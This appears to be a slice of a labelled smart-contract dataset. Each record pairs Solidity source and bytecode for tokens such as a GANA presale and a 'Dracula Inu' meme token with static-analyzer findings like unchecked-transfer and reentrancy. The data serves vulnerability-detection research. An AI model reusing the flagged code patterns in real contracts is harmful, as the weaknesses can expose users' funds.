c3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117626024836111f7565b915061176d82611706565b604082019050919050565b6000602082019050818103600083015261179181611755565b9050919050565b60006117a38261130a565b91506117ae8361130a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117e3576117e26115a5565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118288261130a565b91506118338361130a565b925082611843576118426117ee565b5b828204905092915050565b60006118598261130a565b91506118648361130a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561189d5761189c6115a5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050611915816112de565b92915050565b600060208284031215611931576119306112a7565b5b600061193f84828501611906565b91505092915050565b6000819050919050565b600061196d61196861196384611948565b6114ca565b61130a565b9050919050565b61197d81611952565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6119b8816112cc565b82525050565b60006119ca83836119af565b60208301905092915050565b6000602082019050919050565b60006119ee82611983565b6119f8818561198e565b9350611a038361199f565b8060005b83811015611a34578151611a1b88826119be565b9750611a26836119d6565b925050600181019050611a07565b5085935050505092915050565b600060a082019050611a5660008301886113b6565b611a636020830187611974565b8181036040830152611a7581866119e3565b9050611a846060830185611433565b611a9160808301846113b6565b969550505050505056fea26469706673582212205a25f26e63d96c81ef50184fb9264c1e50a32b077bb0d4b9d3eda05b8d16926164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,381 |
0xf51397513C3516effeEF0e0f7332E05816135d01
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Releasable is Ownable {
event Release();
bool public released = false;
modifier afterReleased() {
require(released);
_;
}
function release() onlyOwner public {
require(!released);
released = true;
Release();
}
}
contract Managed is Releasable {
mapping (address => bool) public manager;
event SetManager(address _addr);
event UnsetManager(address _addr);
function Managed() public {
manager[msg.sender] = true;
}
modifier onlyManager() {
require(manager[msg.sender]);
_;
}
function setManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == false);
manager[_addr] = true;
SetManager(_addr);
}
function unsetManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == true);
manager[_addr] = false;
UnsetManager(_addr);
}
}
contract ReleasableToken is StandardToken, Managed {
function transfer(address _to, uint256 _value) public afterReleased returns (bool) {
return super.transfer(_to, _value);
}
function saleTransfer(address _to, uint256 _value) public onlyManager returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public afterReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public afterReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public afterReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public afterReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is ReleasableToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyManager public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= tota0lSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* GANA
*/
contract GANA is BurnableToken {
string public constant name = "GANA";
string public constant symbol = "GANA";
uint8 public constant decimals = 18;
event ClaimedTokens(address manager, address _token, uint256 claimedBalance);
function GANA() public {
totalSupply = 2000000000 * 1 ether;
balances[msg.sender] = totalSupply;
}
function claimTokens(address _token, uint256 _claimedBalance) public onlyManager afterReleased {
ERC20Basic token = ERC20Basic(_token);
uint256 tokenBalance = token.balanceOf(this);
require(tokenBalance >= _claimedBalance);
address manager = msg.sender;
token.transfer(manager, _claimedBalance);
ClaimedTokens(manager, _token, _claimedBalance);
}
}
/**
* Whitelist contract
*/
contract Whitelist is Ownable {
mapping (address => bool) public whitelist;
event Registered(address indexed _addr);
event Unregistered(address indexed _addr);
modifier onlyWhitelisted(address _addr) {
require(whitelist[_addr]);
_;
}
function isWhitelist(address _addr) public view returns (bool listed) {
return whitelist[_addr];
}
function registerAddress(address _addr) public onlyOwner {
require(_addr != address(0) && whitelist[_addr] == false);
whitelist[_addr] = true;
Registered(_addr);
}
function registerAddresses(address[] _addrs) public onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++) {
require(_addrs[i] != address(0) && whitelist[_addrs[i]] == false);
whitelist[_addrs[i]] = true;
Registered(_addrs[i]);
}
}
function unregisterAddress(address _addr) public onlyOwner onlyWhitelisted(_addr) {
whitelist[_addr] = false;
Unregistered(_addr);
}
function unregisterAddresses(address[] _addrs) public onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++) {
require(whitelist[_addrs[i]]);
whitelist[_addrs[i]] = false;
Unregistered(_addrs[i]);
}
}
}
/**
* GANA PRE-SALE
*/
contract GanaPreSale is Ownable {
using SafeMath for uint256;
GANA public gana;
Whitelist public whitelist;
address public wallet;
uint256 public hardCap = 10000 ether; //presale cap
uint256 public weiRaised = 0;
uint256 public minCap = 3 ether;
uint256 public rate = 22000; // 1 ETH == 22,000 GANA
uint256 public defaultRate = 20000;
//uint256 public startTime = 1483228800; //TEST ONLY UTC 01/01/2017 00:00am
uint256 public startTime = 1523008800; //UTC 04/06/2018 10:00am
uint256 public endTime = 1523786400; //UTC 04/15/2018 10:00am
event TokenPurchase(address indexed sender, address indexed buyer, uint256 weiAmount, uint256 ganaAmount);
event Refund(address indexed buyer, uint256 weiAmount);
event TransferToSafe();
event BurnAndReturnAfterEnded(uint256 burnAmount, uint256 returnAmount);
function GanaPreSale(address _gana, address _wallet, address _whitelist) public {
require(_wallet != address(0));
gana = GANA(_gana);
whitelist = Whitelist(_whitelist);
wallet = _wallet;
}
modifier onlyWhitelisted() {
require(whitelist.isWhitelist(msg.sender));
_;
}
// fallback function can be used to buy tokens
function () external payable {
buyGana(msg.sender);
}
function buyGana(address buyer) public onlyWhitelisted payable {
require(!hasEnded());
require(afterStart());
require(buyer != address(0));
require(buyer == msg.sender);
require(msg.value >= minCap);
uint256 weiAmount = msg.value;
//pre-calculate wei raise after buying
uint256 preCalWeiRaised = weiRaised.add(weiAmount);
uint256 ganaAmount;
if(preCalWeiRaised <= hardCap){
//the pre-calculate wei raise is less than the hard cap
ganaAmount = weiAmount.mul(rate);
gana.saleTransfer(buyer, ganaAmount);
weiRaised = preCalWeiRaised;
TokenPurchase(msg.sender, buyer, weiAmount, ganaAmount);
}else{
//the pre-calculate weiRaised is more than the hard cap
uint256 refundWeiAmount = preCalWeiRaised.sub(hardCap);
uint256 fundWeiAmount = weiAmount.sub(refundWeiAmount);
ganaAmount = fundWeiAmount.mul(rate);
gana.saleTransfer(buyer, ganaAmount);
weiRaised = weiRaised.add(fundWeiAmount);
TokenPurchase(msg.sender, buyer, fundWeiAmount, ganaAmount);
buyer.transfer(refundWeiAmount);
Refund(buyer,refundWeiAmount);
}
}
//Was it sold out or sale overdue
function hasEnded() public view returns (bool) {
bool hardCapReached = weiRaised >= hardCap; // balid cap
return hardCapReached || afterEnded();
}
function afterEnded() internal constant returns (bool) {
return now > endTime;
}
function afterStart() internal constant returns (bool) {
return now >= startTime;
}
function transferToSafe() onlyOwner public {
require(hasEnded());
wallet.transfer(this.balance);
TransferToSafe();
}
/**
* @dev burn unsold token and return bonus token
* @param reserveWallet reserve pool address
*/
function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public {
require(reserveWallet != address(0));
require(hasEnded());
uint256 unsoldWei = hardCap.sub(weiRaised);
require(unsoldWei > 0);
uint256 unsoldGanaAmount = gana.balanceOf(this);
uint256 burnGanaAmount = unsoldWei.mul(defaultRate);
uint256 bonusGanaAmount = unsoldGanaAmount.sub(burnGanaAmount);
gana.burn(burnGanaAmount);
gana.saleTransfer(reserveWallet, bonusGanaAmount);
BurnAndReturnAfterEnded(burnGanaAmount, bonusGanaAmount);
}
/**
* @dev emergency function before sale
* @param returnAddress return token address
*/
function returnGanaBeforeSale(address returnAddress) onlyOwner public {
require(returnAddress != address(0));
require(weiRaised == 0);
uint256 returnGana = gana.balanceOf(this);
gana.saleTransfer(returnAddress, returnGana);
}
}
|
0x6060604052600436106100d75763ffffffff60e060020a600035041663075deb9581146100e257806315d3e0a3146100f65780632616501d146101095780632c4e722e1461012e5780633197cbb6146101415780633fa615b0146101545780634042b66f146101675780634eb259aa1461017a578063521eb2731461019957806378e97925146101c85780638da5cb5b146101db57806393e59dc1146101ee578063a78cdfed14610201578063ecb70fb714610214578063f2fde38b1461023b578063f80f96f61461025a578063fb86a40414610279575b6100e03361028c565b005b6100e0600160a060020a036004351661028c565b341561010157600080fd5b6100e0610612565b341561011457600080fd5b61011c6106a7565b60405190815260200160405180910390f35b341561013957600080fd5b61011c6106ad565b341561014c57600080fd5b61011c6106b3565b341561015f57600080fd5b61011c6106b9565b341561017257600080fd5b61011c6106bf565b341561018557600080fd5b6100e0600160a060020a03600435166106c5565b34156101a457600080fd5b6101ac6108eb565b604051600160a060020a03909116815260200160405180910390f35b34156101d357600080fd5b61011c6108fa565b34156101e657600080fd5b6101ac610900565b34156101f957600080fd5b6101ac61090f565b341561020c57600080fd5b6101ac61091e565b341561021f57600080fd5b61022761092d565b604051901515815260200160405180910390f35b341561024657600080fd5b6100e0600160a060020a036004351661094e565b341561026557600080fd5b6100e0600160a060020a03600435166109e9565b341561028457600080fd5b61011c610b1c565b6002546000908190819081908190600160a060020a031663c683630d33836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156102ef57600080fd5b6102c65a03f1151561030057600080fd5b50505060405180519050151561031557600080fd5b61031d61092d565b1561032757600080fd5b61032f610b22565b151561033a57600080fd5b600160a060020a038616151561034f57600080fd5b33600160a060020a031686600160a060020a031614151561036f57600080fd5b60065434101561037e57600080fd5b600554349550610394908663ffffffff610b2b16565b6004549094508411610483576007546103b490869063ffffffff610b4516565b600154909350600160a060020a031663a51a8682878560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561041657600080fd5b6102c65a03f1151561042757600080fd5b505050604051805150506005849055600160a060020a038087169033167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18878660405191825260208201526040908101905180910390a361060a565b60045461049790859063ffffffff610b7016565b91506104a9858363ffffffff610b7016565b90506104c060075482610b4590919063ffffffff16565b600154909350600160a060020a031663a51a8682878560006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561052257600080fd5b6102c65a03f1151561053357600080fd5b50505060405180515050600554610550908263ffffffff610b2b16565b600555600160a060020a038087169033167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18838660405191825260208201526040908101905180910390a3600160a060020a03861682156108fc0283604051600060405180830381858888f1935050505015156105cc57600080fd5b85600160a060020a03167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d8360405190815260200160405180910390a25b505050505050565b60005433600160a060020a0390811691161461062d57600080fd5b61063561092d565b151561064057600080fd5b600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561067957600080fd5b7fd199affd05325a27b0e0712711930c851835f6f9ea725c80b75aaa5022930b9760405160405180910390a1565b60085481565b60075481565b600a5481565b60065481565b60055481565b6000805481908190819033600160a060020a039081169116146106e757600080fd5b600160a060020a03851615156106fc57600080fd5b61070461092d565b151561070f57600080fd5b6005546004546107249163ffffffff610b7016565b93506000841161073357600080fd5b600154600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561078c57600080fd5b6102c65a03f1151561079d57600080fd5b50505060405180516008549094506107bd9150859063ffffffff610b4516565b91506107cf838363ffffffff610b7016565b600154909150600160a060020a03166342966c688360405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561081a57600080fd5b6102c65a03f1151561082b57600080fd5b5050600154600160a060020a0316905063a51a8682868360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561088e57600080fd5b6102c65a03f1151561089f57600080fd5b50505060405180519050507f011ce8bfb61c9db9fd6bd20bfadf06bf5ccb2d1c694752bf7aa91ce195fdae7b828260405191825260208201526040908101905180910390a15050505050565b600354600160a060020a031681565b60095481565b600054600160a060020a031681565b600254600160a060020a031681565b600154600160a060020a031681565b60045460055460009190101580806109485750610948610b82565b91505090565b60005433600160a060020a0390811691161461096957600080fd5b600160a060020a038116151561097e57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805433600160a060020a03908116911614610a0557600080fd5b600160a060020a0382161515610a1a57600080fd5b60055415610a2757600080fd5b600154600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a8057600080fd5b6102c65a03f11515610a9157600080fd5b5050506040518051600154909250600160a060020a0316905063a51a8682838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610afd57600080fd5b6102c65a03f11515610b0e57600080fd5b505050604051805150505050565b60045481565b60095442101590565b600082820183811015610b3a57fe5b8091505b5092915050565b600080831515610b585760009150610b3e565b50828202828482811515610b6857fe5b0414610b3a57fe5b600082821115610b7c57fe5b50900390565b600a544211905600a165627a7a723058205c55d17518b4a7ba464e867a4036b39f1df0b5699e6ecbc74d75fdc51cd34e080029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,382 |
0x75b44c9309bb93572a64034a76dfa71ee16bceb9
|
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/*
FUCK the world, FUCK social life. Dracula Inu is a meme tokne to pay tribute to Dracula’s anti-social attitude. Dracula had it right, sleep all day, live alone in a castle and explode into a thousand bats to get out of social situations. Be antisocial, Be like Dracula. I am sure Dracula doesn’t even wanna suck your blood, he just wanna get rid of you, get rid of stupid social life.
Join us and embrace out antisocial social club.
👉Token symbol: $DINU
👉Token Name: Dracula Inu
👉Max Supply : 1,000,000,000
👉Max Buy : 20,000,000
👉Initial Liq : 3 ETH
✅ Transaction tax :12%
🚀Stealth launch
🖥Website : https://draculainu.world/
✉️ Telegram :https://t.me/draculainu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"Dracula Inu";
string public constant symbol = unicode"DINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 15;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 350000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101bb5760003560e01c806370a08231116100ec578063b2289c621161008a578063db92dbb611610064578063db92dbb6146104d9578063dcb0e0ad146104ee578063dd62ed3e1461050e578063e8078d941461055457600080fd5b8063b2289c621461048f578063c3c8cd80146104af578063c9567bf9146104c457600080fd5b80638da5cb5b116100c65780638da5cb5b1461040157806394b8d8f21461041f57806395d89b411461043f578063a9059cbb1461046f57600080fd5b806370a08231146103ac578063715018a6146103cc57806373f54a11146103e157600080fd5b8063313ce5671161015957806345596e2e1161013357806345596e2e1461032957806349bd5a5e14610349578063590f897e146103815780636fc3eaec1461039757600080fd5b8063313ce567146102d657806332d873d8146102fd57806340b9a54b1461031357600080fd5b806318160ddd1161019557806318160ddd146102665780631940d0201461028b57806323b872dd146102a157806327f3a72a146102c157600080fd5b806306fdde03146101c7578063095ea7b3146102145780630b78f9c01461024457600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101fe6040518060400160405280600b81526020016a44726163756c6120496e7560a81b81525081565b60405161020b919061158c565b60405180910390f35b34801561022057600080fd5b5061023461022f3660046115f6565b610569565b604051901515815260200161020b565b34801561025057600080fd5b5061026461025f366004611622565b61057f565b005b34801561027257600080fd5b50670de0b6b3a76400005b60405190815260200161020b565b34801561029757600080fd5b5061027d600c5481565b3480156102ad57600080fd5b506102346102bc366004611644565b61062c565b3480156102cd57600080fd5b5061027d610680565b3480156102e257600080fd5b506102eb600981565b60405160ff909116815260200161020b565b34801561030957600080fd5b5061027d600d5481565b34801561031f57600080fd5b5061027d60095481565b34801561033557600080fd5b50610264610344366004611685565b610690565b34801561035557600080fd5b50600854610369906001600160a01b031681565b6040516001600160a01b03909116815260200161020b565b34801561038d57600080fd5b5061027d600a5481565b3480156103a357600080fd5b50610264610756565b3480156103b857600080fd5b5061027d6103c736600461169e565b610763565b348